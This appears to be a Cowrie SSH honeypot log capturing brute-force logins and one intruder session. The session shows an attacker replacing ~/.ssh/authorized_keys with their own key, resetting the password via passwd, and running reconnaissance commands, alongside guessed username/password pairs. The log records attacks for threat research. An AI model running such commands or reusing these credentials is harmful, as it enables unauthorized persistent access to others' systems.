{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:56.022410Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:56.237104Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:56.241159Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":51900,"dst_ip":"10.17.0.5","dst_port":22,"session":"e566c832e016","protocol":"ssh","message":"New connection: 181.97.227.163:51900 (10.17.0.5:22) [session: e566c832e016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:56.433987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:56.438617Z","src_ip":"181.97.227.163","session":"e566c832e016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:56.643787Z","src_ip":"181.97.227.163","session":"e566c832e016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":46430,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e2a20f34425","protocol":"ssh","message":"New connection: 103.158.40.65:46430 (159.203.135.109:22) [session: 3e2a20f34425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:56.928866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:56.934043Z","src_ip":"103.158.40.65","session":"3e2a20f34425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:57.154521Z","src_ip":"103.158.40.65","session":"3e2a20f34425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:57.513158Z","src_ip":"181.97.227.163","session":"e566c832e016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":41746,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a3397c67094","protocol":"ssh","message":"New connection: 43.173.69.147:41746 (159.203.135.109:22) [session: 1a3397c67094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:58.020888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:58.025929Z","src_ip":"43.173.69.147","session":"1a3397c67094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"Passw0rd","message":"login attempt [tester/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:58.053072Z","src_ip":"103.158.40.65","session":"3e2a20f34425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:58.094129Z","src_ip":"43.173.69.147","session":"1a3397c67094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe1234","message":"login attempt [frappe/frappe1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:58.399717Z","src_ip":"43.173.69.147","session":"1a3397c67094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:58.719718Z","src_ip":"181.97.227.163","session":"e566c832e016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":54130,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f7b4a402c51","protocol":"ssh","message":"New connection: 181.97.227.163:54130 (10.17.0.5:22) [session: 0f7b4a402c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:58.919950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:58.923590Z","src_ip":"181.97.227.163","session":"0f7b4a402c51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:59.131678Z","src_ip":"181.97.227.163","session":"0f7b4a402c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:59.274948Z","src_ip":"103.158.40.65","session":"3e2a20f34425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:59.471368Z","src_ip":"43.173.69.147","session":"1a3397c67094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:59.979717Z","src_ip":"181.97.227.163","session":"0f7b4a402c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:01.186704Z","src_ip":"181.97.227.163","session":"0f7b4a402c51","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:01.467090Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:01.470600Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:01.687754Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:02.175502Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin!@#123\\n9AkiBy2rFwfV\\n9AkiBy2rFwfV\"|passwd|bash","message":"CMD: echo -e \"admin!@#123\\n9AkiBy2rFwfV\\n9AkiBy2rFwfV\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:02.179664Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:02.184320Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:02.188445Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/73de461dca1bcb7e5f692513fb15fd252d85bdd9a3e078a0c4b5f389e3a2b667","size":32,"shasum":"73de461dca1bcb7e5f692513fb15fd252d85bdd9a3e078a0c4b5f389e3a2b667","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/73de461dca1bcb7e5f692513fb15fd252d85bdd9a3e078a0c4b5f389e3a2b667 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:02.403903Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:02.884581Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin!@#123\\n9AkiBy2rFwfV\\n9AkiBy2rFwfV\\n\"|passwd","message":"CMD: echo \"admin!@#123\\n9AkiBy2rFwfV\\n9AkiBy2rFwfV\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:02.888504Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7b8b886d9afc4361861e6b8fbb7852b7ada9ebb7da3c883c26cc050bb3eb35be","size":25,"shasum":"7b8b886d9afc4361861e6b8fbb7852b7ada9ebb7da3c883c26cc050bb3eb35be","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7b8b886d9afc4361861e6b8fbb7852b7ada9ebb7da3c883c26cc050bb3eb35be after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:03.103055Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:03.632540Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:03.635925Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:03.853636Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:04.572481Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:04.576038Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:04.789499Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:05.258843Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:05.262202Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:05.265999Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:05.480841Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:05.956543Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:05.960076Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:06.173130Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:06.643252Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:06.646652Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:06.860049Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:07.330814Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:07.334505Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
